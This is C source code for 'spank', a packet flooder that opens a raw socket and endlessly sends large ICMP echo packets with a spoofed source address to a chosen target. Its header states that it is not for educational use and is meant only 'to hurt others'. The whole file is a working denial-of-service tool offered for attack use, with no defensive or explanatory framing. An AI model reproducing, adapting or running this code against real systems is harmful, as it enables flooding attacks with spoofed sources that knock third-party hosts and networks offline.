/*
 * spank.c by fred_ | blasphemy
 *
 *  @@@@@@   @@@@@@@    @@@@@@   @@@  @@@  @@@  @@@
 * @@@@@@@   @@@@@@@@  @@@@@@@@  @@@@ @@@  @@@  @@@
 * !@@       @@!  @@@  @@!  @@@  @@!@!@@@  @@!  !@@
 * !@!       !@!  @!@  !@!  @!@  !@!!@!@!  !@!  @!!
 * !!@@!!    @!@@!@!   @!@!@!@!  @!@ !!@!  @!@@!@!
 *  !!@!!!   !!@!!!    !!!@!!!!  !@!  !!!  !!@!!!
 *      !:!  !!:       !!:  !!!  !!:  !!!  !!: :!!
 *     !:!   :!:       :!:  !:!  :!:  !:!  :!:  !:!
 * :::: ::    ::       ::   :::   ::   ::   ::  :::
 * :: : :     :         :   : :  ::    :    :   :::
 *
 * This program is not for educational use
 * in any shape or form. You must agree that
 * you will only use it to hurt others.
 *
 * Warning, this program uses alot of bandwidth.
 *
 * usage: ./spank <source> <destination> <size>
 *
*/

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/ip_icmp.h>

static int in_cksum(u_short *addr, int len);
static void fill(int datalen, char *icmp_data);

#define  PHDR_LEN  sizeof(struct icmphdr) + sizeof(struct iphdr)

static void
fill(int datalen, char *icmp_data)
{
  static u_int32_t rnd;
  int i;

  for (i = PHDR_LEN; i < datalen; i++) {
    rnd = (3141592621U * rnd + 663896637U);
    icmp_data[i] = rnd>>24;
    }
}

int
main(int argc, char *argv[])
{
  int count = 0, sock, x;
  struct sockaddr_in sin;

  fprintf(stdout, "spank.c coded by fred_ | blasphemy\n");

  if (argc != 4) {
    fprintf(stderr,
      "ex., %s <source> <destination> <size>\n",
      argv[0]);
    exit(1);
    }

  if (atoi(argv[3]) < 1) {
    fprintf(stderr,
      "error: packet size is too small.\n");
    exit(1);
    }

  sin.sin_family = AF_INET;
  sin.sin_port = htons(0);
  sin.sin_addr.s_addr = get_addr(argv[2]);

  sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sock < 0) {
    perror("socket()");
    exit(1);
    }

  setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &x, sizeof(x));

  printf("each '.' is 25 packets\n");
  while (1) {
    send_packet(argv[1],
      atoi(argv[3]), sin, sock);
    count++;
    if (count == 25) {
      printf(".");
      fflush(stdout);

      count = 0;
      }
    usleep(10);
    }
}

int get_addr(char *host)
{
  static struct in_addr h;
  struct hostent *hp;

  h.s_addr = inet_addr(host);
  if (h.s_addr == -1) {
    hp = gethostbyname(host);
    if (hp == NULL) {
      fprintf(stderr,
        "unable to resolve %s.\n", host);
      exit(1);
      }

    bcopy(hp->h_addr, (char *)&h.s_addr, hp->h_length);
    }

  return h.s_addr;
}

int send_packet(char *src, int size,
  struct sockaddr_in sin, int sock)
{
        char *packet;
        struct icmphdr *icmp;
        struct iphdr *ip;

  packet = (char *) malloc(PHDR_LEN + size);

  ip = (struct iphdr *)packet;
  icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

  memset(packet, 0, PHDR_LEN);
  fill(size, packet);

  ip->tot_len = htons(PHDR_LEN + size);
  ip->ihl = 5;
  ip->ttl = 255;
  ip->protocol = IPPROTO_ICMP;
  ip->version = 4;
  ip->tos = 0;
  ip->frag_off = 0;
  ip->saddr = get_addr(src);
  ip->daddr = sin.sin_addr.s_addr;
  ip->check = in_cksum((u_short *)ip,
    sizeof(struct iphdr));

  icmp->type = 8;
  icmp->code = 1;
  icmp->checksum = in_cksum((u_short *)icmp,
    sizeof(struct icmphdr));

  if (sendto(sock, packet, PHDR_LEN + size,
    0, (struct sockaddr *)&sin,
    sizeof(struct sockaddr)) == -1) {
      close(sock);
      perror("sendto()");
      exit(1);
    }

  free(packet);
}

static int
in_cksum(u_short *addr, int len)
{
  register int nleft = len;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1) {
    sum += *addr++;
    nleft -= 2;
    }

  if (nleft == 1) {
    *(u_char *) (&answer) = *(u_char *) addr;
    sum += answer;
    }

  sum = (sum >> 16) + (sum + 0xffff);
  sum += (sum >> 16);

  answer = ~sum;
  return (answer);
}